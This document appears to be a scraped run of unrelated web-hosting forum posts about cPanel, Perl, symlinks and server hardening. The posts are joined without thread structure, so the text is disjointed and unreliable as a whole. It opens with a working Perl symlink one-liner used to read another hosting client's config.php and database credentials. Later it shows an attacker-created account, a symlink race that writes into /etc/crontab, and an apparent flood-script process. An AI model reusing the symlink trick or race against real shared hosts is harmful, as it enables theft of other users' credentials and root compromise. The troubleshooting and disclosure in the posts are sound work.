A client hacked another client of mine using the following Perl code:
#!/usr/bin/perl
symlink ("/home/john/public_html/config.php","/home/carole/public_html/forums/includes/config.php");
After the hacker got the DB name, username and password it's very easy to change anything in the forum using PHP.
After reading an article on command line FTP, I FTP'd to my VPS and was shocked out much access someone without logging in (and Anonymous FTP is off) has. I am running cPanel Release on CentOS 4 and Virtuozzo 3. How can I improve server security without giving any SSH access? I was all ready to use WebDav over SSL but then it doesn't allow you to change permisisons. Security is my #1 priority. My friend who I host says his clients like FTP and FTP is a standard service.
Would FTP with SSL be more secure, or still pose the same problems with sniffers and people connecting and being able to do something? Can I force FTP over SSL while not having cPanel over-ride my settings wiht an update?
What can I do to solve this major security hole? Next on my list is forcing POPs and IMAPs, authentication for SMTP and even SSL SMTP. Then only SMTP incomg 25 and HHTP port 80 would be none secure, but everything mostly secure.
My understanding is that currently the only way to protect against it is to deny any requests for PDFs where the request string takes that particular form? Is that correct? Or will the browser not even submit anything beyond the # sign in the request for the PDF?
And if it is correct.... has anyone tried to cook up a recipe that we can all dump in our .htaccess files to get this fixed up?
I have just discovered a massive security in the CPANEL 10.9 software. This problem is in the BACKUP FEATURE. If you do remote ftp back onto the same account. It will put the file in the account home directory and it will have this type of stuff accountname:ROOTPASSWORD@serverhostname.com
ive been trying to install it for about 3 hours and ive finally got it working. now, how do i configure it to be nice and secure?
first thing is that i want to restrict which paths people can use in scripts. my site needs to access any paths but site users can only access their own directories. i want the exact same thing as in this thread but with perl instead of php
how do i block certain functions and which ones do i block? i heard perl and php are very similar so im guessing i want to block similar functions to the ones listed here
I admit I know nothing when it comes to servers. Yet I do have a root server and I noticed that there are some days when the traffic spikes up to 20 times the average and when I login via ssh I see many perl processes. I don't know what those are since I don't use any perl scripts on my web site. Is this a potential or maybe an ongoing security issue?
I got an email from our rather new VPS server (all headers seem to show it's really from our IP) where an account was created by root and deleted 30 minutes later?!
Is there a cpanel loophole?
What should we do next?
+===================================+ | New Account Info | +===================================+ | Domain: z0ne-h.com | Ip: 72.xxx.xxx.xxx (y) | HasCgi: y | UserName: vampire | PassWord: 0123969469 | CpanelMod: x | HomeRoot: /home | Quota: 10000 Meg | NameServer: ns1.xxxxxxxxx.net | Contact Email: only.vampire@gmail.com +===================================+ Account was setup by: root (root)
I'm trying to create a symlink (ln -s) in SSH with the goal of having a php-file to be able to be reached from my wildcard subdomains "username.domain.com". The reason is because of XMLHttpRequest that resides in the php-file. When trying to access it from username.domain.com I only get an error, because of the cross-domain issue.
Anyway, I got the suggestion of creating a symlink on the file system, but I can't really get the symlink right... Where should I place it on the file system?
This is the path to the script;
Code: /home/web2753/domains/domain.com/public_html/ajax/status.php I tried creating the symlink in various places, like in the /domains/ directory;
Code: ln -s /home/web2753/domains/domain.com/public_html/ajax/status.php But I don't seem to get it right! If I have understood everything correctly, I'm supposed to create a symlink for status.php so the Subdomains can access it as if it was placed directly under the subdomains.
This is what my .JS file looks like (with the XMLhttprequest, this might not matter..?)
Code: var cururl = 'htp domain com'; // this forum didn't like this url?
function createRequestObject() { var req;
if (window.XMLHttpRequest) { req = new XMLHttpRequest(); } else if (window.ActiveXObject) { req = new ActiveXObject("Microsoft.XMLHTTP"); } else { alert('Problem creating the XMLHttpRequest object'); }
return req; }
function handleDivTag(divtag) { var divtag; return divtag; }
var http = createRequestObject(); var divhandler = new handleDivTag(null);
function sendRequest(ua_id,show,series) { http.open('get', cururl+'ajax/status.php?ua_id='+ua_id+'&show='+show+'&series='+series+'&dummy=' + new Date().getTime()); http.onreadystatechange = handleResponseTwo; divhandler.divtag = ua_id; http.send(null); }
function handleResponseTwo() { if (http.readyState == 4 && http.status == 200) { var response = http.responseText; if (response) { document.getElementById('editinfo'+divhandler.divtag).innerHTML = response; } } } Everything works except of the cross-domain issue which I'm trying to overcome by creating a symlink.
I’ve been working on a project for weeks and I can not solve this, hope you can give me an idea. I am working on a dedicated server, and I need to create some symlinks between different accounts and users...
Both accounts are on the same partition of the server (home) and I have root access and SSH access for everything.
If I create a symlink to a directory of another account and on that directory there is any HTML file (e.g. Index.html), that symlink works great and it shows the content on that file.
HOWEVER if the symlink targets to a directory in which there is a file in (e.g. Index.php) or any script programmed in PHP (e.g. Joomla) it does not work and gives...
“Internal Server Error” + Additionally, a 404 Not Found error was encountered...
When I go to Cpanel the “error log” says...
[Sun Jul 05 09:15] [error] [client zz] File does not exist: /home/zzz/public_html/ 500 shtml [Sun Jul 05 09:15] [error] [client zz] SoftException in Application.cpp:367: Mismatch between target UID (123) and UID (123) of file "/home/zzz/public_html/my-dir/my-symlink/ index php"
However, If go to SSH and edit server owner of the symlink, so both symlink and target file has the same owner (chown user:user directory_name) the problem is the same, but on the “error log” the UID Mismatch disappear and I only find... File does not exist: /home/zzz/public_html/500 shtml
I’ve also tried modifying suexec by changing... “domain . tld ” for “domain - tld ” on the server alias, and does not work.
Here I give you more info about server file structure...
System Linux Apache Version 2.2.11 (Unix) PERL Version 5.8.8 PHP Version 5.2.8
So the question is... HOW can I create a symlink between different users on the same dedicated server partition, that target to PHP scripts or how can I allow the server to execute PHP scripts through symlinks of different accounts?
I installed Apache2. In the the folder "var/www/html" I created a symlink to a different HDD that holds a number of movie files. My thinking is that it would be easy to access the movies through a browser from any computer on my local network.
I used the following command string while in the html directory, and created the symlink:
ln -sd /media/guy/movie1/Movies test
While sitting at the server, when I click on "test" it opens the correct directory and exposes the files. If I surf to apache from another machine it does not show the symlink.
Here the permissions on the symlink
lrwxrwxrwx 1 root root 24 May 11 19:56 test -> /media/guy/movie1/Movies
I just got email from the company with which I co locate my servers (one of the resellers in MPT). The email said:
"We have detected a deny of service attack on one of your IP's 69.90.xxx.xxx. The attack was approximately 200Kpps and 120Mbps. The IP has been null routed and will be in place for 24 hours."
Now all my sites hosted on that IP are down.
Is this the way the co location companies and their upstream providers deal with DOS attacks?
Its going to harm me a lot if I have to wait for 24 hours for the services to work.
Just an FYI - we have been monitoring some attempts from europe. Here is a file that they were trying to include using a hole in PHPCoin's URL handler:
[URL removed] stringa.txt
The attempt was coming from linux.htd-information.dk
Code: TMPS="/tmp/sim_cj" Line 399, file sim-2.5-3/install/sim
Code: cat $TMPS >> /etc/crontab
If a local user creates a symlink to that file, then writes to the sim_cj file being linked to, as SIM is being installed, they can influence the contents of /etc/crontab.
Contacted the vendor via email on 04/17/07, email bounced. Opened a ticket via their helpdesk ~5 days ago, no response.
Again, this is only an issue during the install, which is an extremely small window of time. Any bug that could lead to root access should be fixed, however.
I run a web hosting company and one of my servers is a LAMP server running CentOs 5. A user of mine has a Joomla installation running to manage his website and he has run into the following problem that I am puzzled by.
When Joomla adds a component or module to itself, or when a user uses the Joomla upload functionality, Joomla will add the new files under the user name "apache". This makes sense as it is the apache service running PHP that is actually creating the files.
However, when he FTP's into the account to modify these files, he doesn't have the appropriate permissions to do so as he doesn't have a root level login, just permissions on his home directory which is the site. Any help would be much appreciated.
Also, does anyone know how to change the owner/group of a directory and all of its sub directories in Linux without changing the actual permissions? I.e. some of the files in the folder have different permissions (0644 as apposed to 0755) than its parent but if I do a top down user/group change on the folder it will change everything in that folder to 0755.
A client's server's password was guessed, and the hacker conveniently uninstalled perl. I can't seem to get perl reinstalled. Any ideas on how this would be done? RPM, TAR's and YUM don't work, as they require perl!
all we know that perl language its using in alot of scripts and alot of system admins stop it why this why u dont try stopp the problems from it and make ur client have perl to used it in scripts lets try this if some one need to see passwd he will do cat /etc/passwd what about make this chmod 700 /bin/cat and he will used wget to get files what about this chmod 700 /usr/bin/wget and lynx what about chmod 700 /usr/bin/lynx in this case we make root only can using this commands any system admin sure know now the idea and he can use it as he want ,, this secured method not only in perl its in another programing language put i give this as a clear exampel.
I have a Centos VPS with Cpanel. I have begun receiving some email notifications, apparantly from my cpanel... The latest one says that the version of perl I am running is too old.
Subj: [checkperlmodules] perl version too old (v5.8.8 required, v5.8.7 is installed.)
Are there any problems or dire consequences from upgrading or side effects? What version should I upgrade to?
Code: PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME CPU COMMAND 9488 nobody 25 0 1612 1280 1108 S 21.1 0.2 619:37 1 perl bodyb3 200.101.193.42 0 5000 I also ran netstat -n and found this: Code: udp 15184 0 server.host.com:55936 ns1.datacenter.net:domain ESTABLISHED
Testing connection speed...(this could take a while)...Done Ping:2.016 Testing connection speed to cpan.erlbaum.net using pureperl...(157450.00 bytes/s)...Done Ping:2.316 Testing connection speed to cpan.belfry.net using pureperl...(157450.00 bytes/s)...Done Ping:1.911 Testing connection speed to cpan.glines.org using pureperl...(104300.00 bytes/s)...Done Three usable mirrors located Mirror Check passed for cpan.erlbaum.net (/index.html) Unknown config variable 'less' commit: wrote '/usr/lib/perl5/5.8.8/CPAN/Config.pm' CPAN: File::HomeDir loaded ok (v0.65) CPAN: Storable loaded ok (v2.16) Going to read /home/.cpan/Metadata Database was generated on Wed, 15 Aug 2007 01:38:08 GMT Acme:pork is up to date (0.0.7). perlmod--Install done